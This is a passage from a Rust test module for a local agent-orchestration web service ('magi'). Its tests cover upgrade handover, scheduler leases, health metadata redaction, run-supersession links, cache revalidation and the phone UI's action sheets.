25445        let after = crate::updater::read_progress(home.path()).expect("record");
25446        assert_eq!(after.stage, crate::updater::Stage::Parking);
25447    }
25448
25449    #[tokio::test]
25450    async fn health_does_not_call_a_live_parking_wait_stuck() {
25451        let fx = Fixture::start().await;
25452        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25453        progress.parked_run = Some("20260905-000000-cd51".to_owned());
25454        progress.advance(crate::updater::Stage::Parking);
25455        let hours = Duration::from_secs(3 * 3600);
25456        progress.started_at = Timestamp::now() - hours;
25457        progress.updated_at = Timestamp::now() - hours;
25458        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25459        let _lease = crate::updater::LeaseGuard::enter(
25460            fx.home.path(),
25461            Some("20260905-000000-cd51".to_owned()),
25462        );
25463
25464        let health = fx.get("/api/health").await.json();
25465        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
25466        assert!(health["upgrade"]["stuck_kind"].is_null());
25467        assert_eq!(health["upgrade"]["handover_alive"], true);
25468        let waiting_on = health["upgrade"]["waiting_on"]
25469            .as_str()
25470            .expect("waiting_on");
25471        assert!(waiting_on.contains("cd51"), "{waiting_on}");
25472    }
25473
25474    fn idle_ui(home: &TempDir) -> Ui {
25475        let runs = home.path().join("runs");
25476        std::fs::create_dir_all(&runs).expect("runs dir");
25477        Ui::new(
25478            Queue::at(home.path().join("queue")),
25479            Questions::at(home.path().join("questions")),
25480            Talks::at(home.path().join("talks")),
25481            runs,
25482            home.path().to_path_buf(),
25483            PathBuf::from("/repo/magi"),
25484        )
25485        .with_launch(launch_idle)
25486    }
25487
25488    #[tokio::test]
25489    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
25490        let home = TempDir::new().expect("temp home");
25491        let ui = idle_ui(&home);
25492        let lease = crate::worker::try_lease(home.path(), "scheduler")
25493            .expect("scheduler lease")
25494            .expect("free");
25495        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
25496            .expect("request stop");
25497        let error = ui
25498            .start_detached_loop()
25499            .await
25500            .expect_err("transition is still live");
25501        assert_eq!(error.status, StatusCode::CONFLICT);
25502        assert!(error.message.contains("still running or stopping"));
25503        assert_eq!(
25504            crate::worker::control(home.path(), "scheduler").unwrap(),
25505            Some(crate::worker::Control::Stop)
25506        );
25507        drop(lease);
25508    }
25509
25510    #[tokio::test]
25511    async fn handover_releases_listener_without_waiting_for_execution_leases() {
25512        let home = TempDir::new().expect("temp home");
25513        let ui = idle_ui(&home);
25514        let turns = ui
25515            .begin_talk_turn("active-chat")
25516            .expect("claim")
25517            .expect("free");
25518        let execution = crate::worker::try_lease(home.path(), "active-task")
25519            .expect("execution lease")
25520            .expect("free");
25521        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25522            .await
25523            .expect("bind loopback");
25524        let address = listener.local_addr().expect("address");
25525        let admissions = Arc::clone(&ui.admissions);
25526        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
25527        let successor_started = std::sync::atomic::AtomicBool::new(false);
25528        tokio::time::timeout(
25529            Duration::from_secs(2),
25530            hand_over(home.path(), &admissions, served, || {
25531                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
25532                Ok(1)
25533            }),
25534        )
25535        .await
25536        .expect("restart must not wait for execution")
25537        .expect("handover");
25538        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
25539        // BSD may retain the address briefly after listener release. The real
25540        // successor uses the same bounded bind retry rather than a one-shot bind.
25541        let successor = bind_waiting(address)
25542            .await
25543            .expect("successor binds released address");
25544        assert_eq!(successor.local_addr().unwrap(), address);
25545        assert!(turns.owns(), "the chat lease survives restart");
25546        assert!(
25547            crate::worker::try_lease(home.path(), "active-task")
25548                .unwrap()
25549                .is_none()
25550        );
25551        drop(execution);
25552        drop(turns);
25553    }
25554
25555    #[tokio::test]
25556    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
25557        let home = TempDir::new().expect("temp home");
25558        let ui = idle_ui(&home);
25559        let admission = ui.begin_admission().expect("admit send");
25560        let turn = ui
25561            .begin_talk_turn("active-chat")
25562            .expect("claim")
25563            .expect("free");
25564        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25565            .await
25566            .expect("bind loopback");
25567        let address = listener.local_addr().expect("address");
25568        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
25569        let successor_called = std::sync::atomic::AtomicBool::new(false);
25570        let handover = hand_over(home.path(), &ui.admissions, served, || {
25571            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
25572            Ok(1)
25573        });
25574        tokio::pin!(handover);
25575        // Poll exactly to the writer waiting on our admission guard. This
25576        // pins the race without sleeps or assumptions about task scheduling.
25577        std::future::poll_fn(|cx| {
25578            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
25579            std::task::Poll::Ready(())
25580        })
25581        .await;
25582        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
25583        assert!(
25584            ui.begin_admission().is_err(),
25585            "new ingress cannot race the drain"
25586        );
25587        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
25588        drop(admission);
25589        tokio::time::timeout(Duration::from_secs(2), handover)
25590            .await
25591            .expect("only publication may delay restart")
25592            .expect("handover");
25593        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
25594        assert!(
25595            turn.owns(),
25596            "the detached chat turn is not awaited or cancelled"
25597        );
25598        assert!(
25599            ui.begin_admission().is_err(),
25600            "old accepted connections stay closed"
25601        );
25602        drop(turn);
25603    }
25604
25605    #[test]
25606    fn health_worker_metadata_never_contains_payload_or_result() {
25607        let view = WorkerView::from(crate::worker::Job {
25608            id: "job".into(),
25609            sequence: 1,
25610            kind: "service".into(),
25611            key: "maintenance".into(),
25612            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
25613            generation: "generation".into(),
25614            version: Some("1.2.3".into()),
25615            status: crate::worker::Status::Running,
25616            result: Some("private diagnostics".into()),
25617            pid: Some(4242),
25618            created_at: 1,
25619            finished_at: None,
25620        });
25621        let value = serde_json::to_value(view).expect("serialize public metadata");
25622        assert_eq!(value["version"], "1.2.3");
25623        assert_eq!(value["pid"], 4242);
25624        assert!(value.get("payload").is_none());
25625        assert!(value.get("result").is_none());
25626        assert!(!value.to_string().contains("private"));
25627    }
25628
25629    #[test]
25630    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
25631        let home = TempDir::new().expect("temp home");
25632        let ui = idle_ui(&home);
25633        std::fs::write(
25634            home.path().join("daemon.json"),
25635            serde_json::json!({
25636                "schema": 2, "pid": 4242, "worker_protocol": 1,
25637                "updated_at": Timestamp::now().to_string(), "idle": true,
25638            })
25639            .to_string(),
25640        )
25641        .expect("status");
25642        let reading = daemon::read_status(home.path());
25643        assert!(Foreign::of(reading.as_ref()).is_none());
25644        let view = ui.runtime_loop_view(reading, &[]);
25645        assert!(view.running);
25646        assert!(view.owned);
25647    }
25648
25649    #[test]
25650    fn only_an_explicit_one_requests_a_resume() {
25651        assert!(!resume_requested(None));
25652        assert!(!resume_requested(Some("0".into())));
25653        assert!(!resume_requested(Some("".into())));
25654        assert!(resume_requested(Some("1".into())));
25655    }
25656
25657    #[test]
25658    fn an_error_is_visible_from_where_the_button_is() {
25659        // The alert used to sit in the flow under the header. On a phone
25660        // scrolled 13 500 px down to a run's action sheet that is off screen,
25661        // so tapping Resume and being told "the loop is running run b455
25662        // right now" looked exactly like a button that did nothing.
25663        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
25664            ..APP_CSS.find(".alert-text").expect(".alert-text")];
25665        assert!(
25666            alert.contains("position: fixed"),
25667            "an error about the thing under your thumb has to be visible from \
25668             where your thumb is: {alert}"
25669        );
25670        assert!(
25671            alert.contains("z-index: 25"),
25672            "above the dock (20) and the run-actions FAB (15), so neither \
25673             buries it: {alert}"
25674        );
25675        assert!(
25676            alert.contains("var(--tap)"),
25677            "and clear of the dock and the home indicator: {alert}"
25678        );
25679        // The FAB sits at the same height on the right. An error that covered
25680        // it would hide the button the operator reaches for next.
25681        assert!(
25682            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
25683            "the FAB's column stays free: {alert}"
25684        );
25685    }
25686
25687    #[tokio::test]
25688    async fn an_older_attempt_says_what_replaced_it() {
25689        let fx = Fixture::start().await;
25690        let q = fx.queue();
25691        let runs = fx.runs();
25692        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
25693        write_run(&runs, first, RunStatus::Stalled);
25694        write_run(&runs, second, RunStatus::Blocked);
25695
25696        let mut t = Task::new(
25697            "one task".to_owned(),
25698            "do it".to_owned(),
25699            PathBuf::from("/repo"),
25700            Source::Human,
25701        );
25702        t.runs = vec![first.to_owned(), second.to_owned()];
25703        q.put(&mut t).expect("put");
25704
25705        // Two cards with the same title and no hint which is which was the
25706        // question: "why are there two of the same, one stalled and one
25707        // blocked?" The older one now names its replacement.
25708        let rows = fx.get("/api/runs").await.json();
25709        let by = |short: &str| -> Value {
25710            rows.as_array()
25711                .unwrap()
25712                .iter()
25713                .find(|r| r["short"] == short)
25714                .cloned()
25715                .unwrap_or(Value::Null)
25716        };
25717        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
25718        assert!(
25719            by("bbbb")["superseded_by"].is_null(),
25720            "the latest attempt is not superseded by anything"
25721        );
25722        // Front end: the note has to be rendered, not just carried.
25723        assert!(APP_JS.contains("run.superseded_by"));
25724        assert!(APP_JS.contains("Superseded by"));
25725    }
25726
25727    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
25728        let mut t = Task::new(
25729            "one task".to_owned(),
25730            "do it".to_owned(),
25731            PathBuf::from("/repo"),
25732            Source::Human,
25733        );
25734        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
25735        t.status = status;
25736        t
25737    }
25738
25739    #[test]
25740    fn source_link_picks_the_page_that_filed_the_task() {
25741        let agent = |node: &str| Source::Agent {
25742            run: "20260904-014455-ab12".to_owned(),
25743            node: node.to_owned(),
25744        };
25745        let chat = source_link(&agent("chat")).expect("chat link");
25746        assert_eq!(chat.kind, "chat");
25747        assert_eq!(chat.id, "20260904-014455-ab12");
25748        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
25749        let run = source_link(&agent("implement")).expect("run link");
25750        assert_eq!(
25751            (run.kind, run.href.as_str()),
25752            ("run", "#/runs/20260904-014455-ab12")
25753        );
25754        assert_eq!(source_link(&Source::Human), None);
25755        assert_eq!(
25756            source_link(&Source::Issue {
25757                number: 3,
25758                repo: "o/r".to_owned()
25759            }),
25760            None
25761        );
25762        let odd = source_link(&Source::Agent {
25763            run: "a b/c".to_owned(),
25764            node: "chat".to_owned(),
25765        })
25766        .expect("link");
25767        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
25768    }
25769
25770    #[test]
25771    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
25772        assert!(
25773            !APP_JS.contains("src.node === \"chat\""),
25774            "inline href rule is back"
25775        );
25776        assert!(
25777            APP_JS.matches("sourceLinkOf(").count() >= 4,
25778            "helper must serve every page"
25779        );
25780        assert!(
25781            APP_JS.matches("openChatLink(").count() >= 3,
25782            "the run page still needs its explicit chat link"
25783        );
25784        assert!(
25785            !APP_JS.contains("const openChat = el("),
25786            "the Queue card duplicates its source label link again"
25787        );
25788        assert!(
25789            APP_JS.contains("metaKids.push(link ? el(\"a\""),
25790            "the task page must link a chat source label too"
25791        );
25792    }
25793
25794    #[test]
25795    fn task_ref_carries_the_source_link_for_a_chat_task() {
25796        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
25797        t.source = Source::Agent {
25798            run: "20260904-014455-ab12".to_owned(),
25799            node: "chat".to_owned(),
25800        };
25801        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
25802        let v = serde_json::to_value(&out).expect("json");
25803        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
25804        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
25805        assert_eq!(v["source_label"], t.source.label());
25806
25807        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
25808        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
25809            .expect("json");
25810        assert!(v["source_link"].is_null(), "{v}");
25811    }
25812
25813    #[test]
25814    fn task_view_serializes_source_link() {
25815        let mut t = Task::new(
25816            "t".to_owned(),
25817            "t".to_owned(),
25818            PathBuf::from("/repo"),
25819            Source::Agent {
25820                run: "20260901-000000-aaaa".to_owned(),
25821                node: "implement".to_owned(),
25822            },
25823        );
25824        t.runs.clear();
25825        let v = serde_json::to_value(TaskView::from(t)).expect("json");
25826        assert_eq!(v["source_link"]["kind"], "run", "{v}");
25827        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
25828    }
25829
25830    #[test]
25831    fn task_view_serializes_urgent_flag() {
25832        let mut t = Task::new(
25833            "t".to_owned(),
25834            "t".to_owned(),
25835            PathBuf::from("/repo"),
25836            Source::Human,
25837        );
25838        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
25839        assert_eq!(v["urgent"], false, "{v}");
25840        t.urgent = true;
25841        let v = serde_json::to_value(TaskView::from(t)).expect("json");
25842        assert_eq!(v["urgent"], true, "{v}");
25843        assert!(APP_JS.contains("task.urgent === true"));
25844    }
25845
25846    #[test]
25847    fn task_view_serializes_immediate_flag_and_ui_hooks() {
25848        let mut t = Task::new(
25849            "t".to_owned(),
25850            "t".to_owned(),
25851            PathBuf::from("/repo"),
25852            Source::Human,
25853        );
25854        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
25855        assert_eq!(v["immediate"], false, "{v}");
25856        t.immediate = true;
25857        let v = serde_json::to_value(TaskView::from(t)).expect("json");
25858        assert_eq!(v["immediate"], true, "{v}");
25859        assert!(APP_JS.contains("task.immediate === true"));
25860        assert!(APP_JS.contains("/immediate"));
25861    }
25862
25863    #[tokio::test]
25864    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
25865        let fx = Fixture::start().await;
25866        let runs = fx.runs();
25867        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
25868        write_run(&runs, old, RunStatus::Blocked);
25869        write_run(&runs, new, RunStatus::Merged);
25870        let mut t = outcome_task(&[old, new], TaskStatus::Done);
25871        fx.queue().put(&mut t).expect("put");
25872
25873        let view = fx.get(&format!("/api/runs/{old}")).await.json();
25874        let task = &view["task"];
25875        assert_eq!(task["status"], "done");
25876        assert_eq!(task["is_latest"], false);
25877        assert_eq!(task["latest"]["short"], "bbbb");
25878        assert_eq!(task["finished_by"]["id"], new);
25879        assert_eq!(task["finished_by"]["outcome"], "merged");
25880        assert_eq!(task["closed_by_hand"], false);
25881        assert_eq!(view["status"], "blocked", "the run keeps its own status");
25882        assert!(APP_JS.contains("finished_by"));
25883        assert!(APP_JS.contains("superseded by run"));
25884    }
25885
25886    #[tokio::test]
25887    async fn the_latest_run_reports_a_held_task_without_a_successor() {
25888        let fx = Fixture::start().await;
25889        let runs = fx.runs();
25890        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
25891        write_run(&runs, old, RunStatus::Stalled);
25892        write_run(&runs, new, RunStatus::Blocked);
25893        let mut t = outcome_task(&[old, new], TaskStatus::Held);
25894        fx.queue().put(&mut t).expect("put");
25895
25896        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
25897        assert_eq!(task["status"], "held");
25898        assert_eq!(task["is_latest"], true);
25899        assert!(task["latest"].is_null());
25900        assert!(task["finished_by"].is_null());
25901        assert_eq!(task["closed_by_hand"], false);
25902    }
25903
25904    #[tokio::test]
25905    async fn a_direct_run_has_no_task_outcome() {
25906        let fx = Fixture::start().await;
25907        let runs = fx.runs();
25908        let id = "20260901-000000-aaaa";
25909        write_run(&runs, id, RunStatus::Blocked);
25910        let view = fx.get(&format!("/api/runs/{id}")).await.json();
25911        assert!(view["task"].is_null());
25912    }
25913
25914    #[test]
25915    fn task_outcome_does_not_guess_a_finishing_run() {
25916        let a = "20260901-000000-aaaa";
25917        let b = "20260901-000000-bbbb";
25918        let c = "20260901-000000-cccc";
25919        let dir = tempfile::tempdir().expect("tempdir");
25920        write_run(dir.path(), a, RunStatus::Blocked);
25921        write_run(dir.path(), b, RunStatus::VerifiedNoop);
25922        // `c` has no record: unreadable.
25923        let read = |id: &str| read_run(dir.path(), id).ok();
25924        // Neither a blocked run nor a no-op finished the task; the newest run is
25925        // unreadable and still named.
25926        let t = outcome_task(&[a, b, c], TaskStatus::Done);
25927        let out = task_outcome(&t, a, 3, read);
25928        assert!(out.finished_by.is_none());
25929        assert!(out.closed_by_hand);
25930        let latest = out.latest.expect("latest");
25931        assert_eq!(latest.id, c);
25932        assert_eq!(latest.status, None);
25933        assert_eq!(latest.outcome, "record unreadable");
25934
25935        // A Ready run settles the task as done, so it is named as the finisher.
25936        write_run(dir.path(), c, RunStatus::Ready);
25937        let t = outcome_task(&[a, c], TaskStatus::Done);
25938        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
25939        assert_eq!(out.finished_by.expect("finisher").id, c);
25940        assert!(!out.closed_by_hand);
25941
25942        // A resumed run id repeats: it is still the latest by id.
25943        let t = outcome_task(&[a, b, a], TaskStatus::Held);
25944        assert!(task_outcome(&t, a, 3, read).is_latest);
25945    }
25946
25947    #[tokio::test]
25948    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
25949        // The list route has known this since the card fix above; the detail
25950        // route — what an operator actually opens from a notification about
25951        // a blocked run — did not, and went on showing a bare red BLOCKED
25952        // chip for a run a retry had already finished.
25953        let fx = Fixture::start().await;
25954        let q = fx.queue();
25955        let runs = fx.runs();
25956        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
25957        write_run(&runs, first, RunStatus::Blocked);
25958        write_run(&runs, second, RunStatus::Merged);
25959
25960        let mut t = Task::new(
25961            "one task".to_owned(),
25962            "do it".to_owned(),
25963            PathBuf::from("/repo"),
25964            Source::Human,
25965        );
25966        t.runs = vec![first.to_owned(), second.to_owned()];
25967        q.put(&mut t).expect("put");
25968
25969        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
25970        assert_eq!(earlier["superseded_by"], "dddd");
25971        assert_eq!(earlier["latest_attempt"]["id"], second);
25972        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
25973        assert_eq!(
25974            earlier["latest_attempt"]["resolved"], true,
25975            "the run that replaced it landed, so this one reads as settled"
25976        );
25977
25978        let later = fx.get(&format!("/api/runs/{second}")).await.json();
25979        assert!(
25980            later["superseded_by"].is_null(),
25981            "the latest attempt is not superseded by anything"
25982        );
25983        assert!(
25984            later["latest_attempt"].is_null(),
25985            "the latest attempt has no later attempt of its own"
25986        );
25987
25988        // Front end: the detail page has to read the field this route now
25989        // carries, downgrade the chip, and link to the run that replaced it —
25990        // not just repeat the list card's own logic under a different name.
25991        // The link is built off `latest_attempt.id`, the server-resolved
25992        // full id, never a bare short string a client would have to guess a
25993        // full run from.
25994        assert!(APP_JS.contains("run.latest_attempt"));
25995        assert!(APP_JS.contains("data-superseded"));
25996        assert!(APP_JS.contains("#/runs/${latest.id}"));
25997    }
25998
25999    #[tokio::test]
26000    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
26001        // A -> B -> C, all Blocked except the last. A's immediate successor
26002        // (superseded_by) is B, which is itself unresolved; what an operator
26003        // opening A's page actually needs is where the task's story stands
26004        // *now* - C, not B - without depending on whether C happens to be in
26005        // whatever page of /api/runs the client last cached.
26006        let fx = Fixture::start().await;
26007        let q = fx.queue();
26008        let runs = fx.runs();
26009        let (a, b, c) = (
26010            "20260901-000000-aaaa",
26011            "20260901-000000-bbbb",
26012            "20260901-000000-cccc",
26013        );
26014        write_run(&runs, a, RunStatus::Blocked);
26015        write_run(&runs, b, RunStatus::Blocked);
26016        write_run(&runs, c, RunStatus::Merged);
26017
26018        let mut t = Task::new(
26019            "retried twice".to_owned(),
26020            "do it".to_owned(),
26021            PathBuf::from("/repo"),
26022            Source::Human,
26023        );
26024        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
26025        q.put(&mut t).expect("put");
26026
26027        let view = fx.get(&format!("/api/runs/{a}")).await.json();
26028        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
26029        assert_eq!(
26030            view["latest_attempt"]["id"], c,
26031            "the chain's current head, not the intermediate Blocked retry"
26032        );
26033        assert_eq!(view["latest_attempt"]["resolved"], true);
26034
26035        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
26036        assert_eq!(mid["latest_attempt"]["id"], c);
26037        assert_eq!(mid["latest_attempt"]["resolved"], true);
26038    }
26039
26040    #[tokio::test]
26041    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
26042        let fx = Fixture::start().await;
26043        let q = fx.queue();
26044        let runs = fx.runs();
26045
26046        // Still Blocked: the task is not resolved, so the older run must not
26047        // read as settled either.
26048        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
26049        write_run(&runs, still_blocked_a, RunStatus::Blocked);
26050        write_run(&runs, still_blocked_b, RunStatus::Blocked);
26051        let mut t1 = Task::new(
26052            "still stuck".to_owned(),
26053            "do it".to_owned(),
26054            PathBuf::from("/repo"),
26055            Source::Human,
26056        );
26057        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
26058        q.put(&mut t1).expect("put");
26059        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
26060        assert_eq!(view1["latest_attempt"]["resolved"], false);
26061        assert_eq!(view1["latest_attempt"]["status"], "blocked");
26062        assert_eq!(view1["latest_attempt"]["done"], true);
26063
26064        // Still running: the successor exists and must be reported as such.
26065        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
26066        write_run(&runs, run_a, RunStatus::Blocked);
26067        write_run(&runs, run_b, RunStatus::Implementing);
26068        let mut t3 = Task::new(
26069            "retrying".to_owned(),
26070            "do it".to_owned(),
26071            PathBuf::from("/repo"),
26072            Source::Human,
26073        );
26074        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
26075        q.put(&mut t3).expect("put");
26076        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
26077        assert_eq!(view3["latest_attempt"]["id"], run_b);
26078        assert_eq!(view3["latest_attempt"]["resolved"], false);
26079        assert_eq!(view3["latest_attempt"]["done"], false);
26080
26081        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
26082        // to check - not a confirmed finish, so this must not read as
26083        // resolved either, even though the run is done in the sense that
26084        // nothing is still running.
26085        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
26086        write_run(&runs, noop_a, RunStatus::Blocked);
26087        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
26088        let mut t2 = Task::new(
26089            "claims done".to_owned(),
26090            "do it".to_owned(),
26091            PathBuf::from("/repo"),
26092            Source::Human,
26093        );
26094        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
26095        q.put(&mut t2).expect("put");
26096        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
26097        assert_eq!(
26098            view2["latest_attempt"]["resolved"], false,
26099            "an unverified no-op claim must not read as a confirmed finish"
26100        );
26101
26102        // Front end: an unresolved successor must not carry the "finished
26103        // this work" note or the muted chip treatment.
26104        assert!(APP_JS.contains("latest.resolved"));
26105        // ...but the link to it shows as soon as it exists, labelled by state
26106        // and without the "finished" wording or the muted chip.
26107        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
26108        assert!(APP_JS.contains("Latest attempt: "));
26109        assert!(APP_JS.contains("in flight"));
26110        assert!(APP_JS.contains("not resolved"));
26111    }
26112
26113    #[tokio::test]
26114    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
26115        let fx = Fixture::start().await;
26116        // No cache header at all meant browsers invented their own policy,
26117        // and one did: a phone went on showing "Candidates must be folded
26118        // before deleting. Run `magi fold` first." - deleted two releases
26119        // earlier - from a deck that no longer contained the sentence. The
26120        // button it named was right there, and unreachable.
26121        let js = fx.get("/app.js").await;
26122        assert_eq!(js.status, 200);
26123        let tag = js
26124            .header("etag")
26125            .expect("an etag to revalidate against")
26126            .to_owned();
26127        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
26128        assert_eq!(
26129            js.header("cache-control"),
26130            Some("no-cache, must-revalidate"),
26131            "the phone has to ask every time"
26132        );
26133
26134        // And the asking has to be cheap, or `must-revalidate` just means
26135        // "send the whole interface on every load".
26136        let again = fx
26137            .get_with("/app.js", &[("if-none-match", tag.as_str())])
26138            .await;
26139        assert_eq!(
26140            again.status, 304,
26141            "a deck it already has costs one round trip"
26142        );
26143        assert!(again.body.is_empty(), "304 carries no body");
26144
26145        // A weakened tag from a proxy still matches; a different build does
26146        // not, which is the case that has to deliver the new interface.
26147        let weak = fx
26148            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
26149            .await;
26150        assert_eq!(weak.status, 304);
26151        let stale = fx
26152            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
26153            .await;
26154        assert_eq!(stale.status, 200, "an older build must be replaced");
26155        assert!(stale.body.contains("renderRunActions"));
26156    }
26157
26158    #[test]
26159    fn the_task_detail_has_an_actions_fab_and_sheet() {
26160        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
26161        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
26162        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
26163        // Shown only on the task route, closed everywhere else.
26164        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
26165        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
26166        // Refreshed whenever the detail redraws, including the loading state.
26167        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
26168        assert!(APP_JS.contains("renderTaskActions(null);"));
26169        // Same action renderers as the Queue card. Bound this check by the
26170        // next function, since additional task controls can grow the sheet.
26171        let (_, sheet) = APP_JS
26172            .split_once("function renderTaskActions(task) {")
26173            .expect("sheet renderer");
26174        let (body, _) = sheet
26175            .split_once("\nfunction openTaskActions() {")
26176            .expect("end of sheet renderer");
26177        assert!(body.contains("changePriority("));
26178        assert!(body.contains("openTaskEdit(task)"));
26179        assert!(body.contains("renderTaskHoldBox(host"));
26180        assert!(body.contains("renderTaskDoneBox(host"));
26181        assert!(body.contains("renderTaskDeleteBox(host"));
26182        assert!(APP_JS.contains("API.priority(id)"));
26183        assert!(APP_JS.contains("API.deleteTask(id)"));
26184        // A deleted task sends the operator back to the queue.
26185        assert!(APP_JS.contains("location.hash = \"#/queue\""));
26186        // A refusal is shown inside the sheet.
26187        assert!(APP_JS.contains("$(\"task-actions-error\")"));
26188    }
26189
26190    #[test]
26191    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
26192        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
26193        let actions = INDEX_HTML
26194            .find("id=\"run-actions-box\"")
26195            .expect("actions box");
26196        assert!(task < actions, "the task entry comes first in the sheet");
26197        assert!(APP_JS.contains("renderRunTaskEntry"));
26198        assert!(APP_JS.contains("\"Open task \""));
26199        // A run without a task says why there is nothing to open.
26200        assert!(APP_JS.contains("started directly, no task"));
26201        assert!(APP_JS.contains("sheet-task-link"));
26202        assert!(APP_JS.contains("task-chip-link"));
26203    }
26204
26205    #[test]
26206    fn the_deck_never_sends_the_operator_to_a_terminal() {
26207        // The whole point of the phone UI is that a terminal is not needed.
26208        // The delete control used to answer with "Run `magi fold` first."
26209        assert!(
26210            !APP_JS.contains("Run `magi fold` first"),
26211            "the deck must offer the fold, not prescribe a shell command"
26212        );
26213        assert!(APP_JS.contains("foldRun:"));
26214        assert!(APP_JS.contains("resumeRun:"));
26215        assert!(APP_JS.contains("renderRunActions"));
26216
26217        // Folding is destructive and armed in two steps, like deleting.
26218        assert!(APP_JS.contains("armedFold"));
26219        assert!(APP_JS.contains("Yes, fold worktrees"));
26220
26221        // And the copy has to say that the two actions are opposites, because
26222        // folding throws away exactly what a resume would continue from.
26223        assert!(APP_JS.contains("can no longer be resumed"));
26224    }
26225
26226    #[test]
26227    fn a_finished_run_explains_itself_with_its_own_last_line() {
26228        // The deck used to answer "why did this stop?" with a sentence chosen
26229        // by status alone. Run e633 stalled because two judges answered with
26230        // the wrong JSON shape and its card said "The panel collapsed on
26231        // agent quota" - with `quota: []` in the record and a quota-loss
26232        // counter right above it that correctly said nothing.
26233        assert!(
26234            !APP_JS.contains("collapsed on agent quota"),
26235            "a stall must not be explained by a cause the deck did not check"
26236        );
26237        assert!(
26238            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
26239            "and a block must not offer a guess with an `or` in it"
26240        );
26241
26242        // The reason it does have is `run.event`, which must reach finished
26243        // runs: gating it on movement hid the recorded truth at the one moment
26244        // the operator is reading the card to find out what happened.
26245        assert!(
26246            APP_JS.contains("setText(r.event, run.event || \"\")"),
26247            "the run's last line is rendered unconditionally"
26248        );
26249        assert!(
26250            !APP_JS.contains("moving && run.event"),
26251            "and never gated on the run still moving"
26252        );
26253
26254        // Quota keeps its own counter, fed by the number actually recorded.
26255        assert!(APP_JS.contains("lost to quota"));
26256    }
26257
26258    /// The runs tree (section) and the state chips (waiting/done) are two
26259    /// independent lenses ANDed together in `renderRuns`, and some pairings
26260    /// can never both be true for any run - every "Landed"/"Ended" run is
26261    /// done by construction, so pairing either with "Active" or "In flight"
26262    /// always rendered zero cards with the filter bar still claiming
26263    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
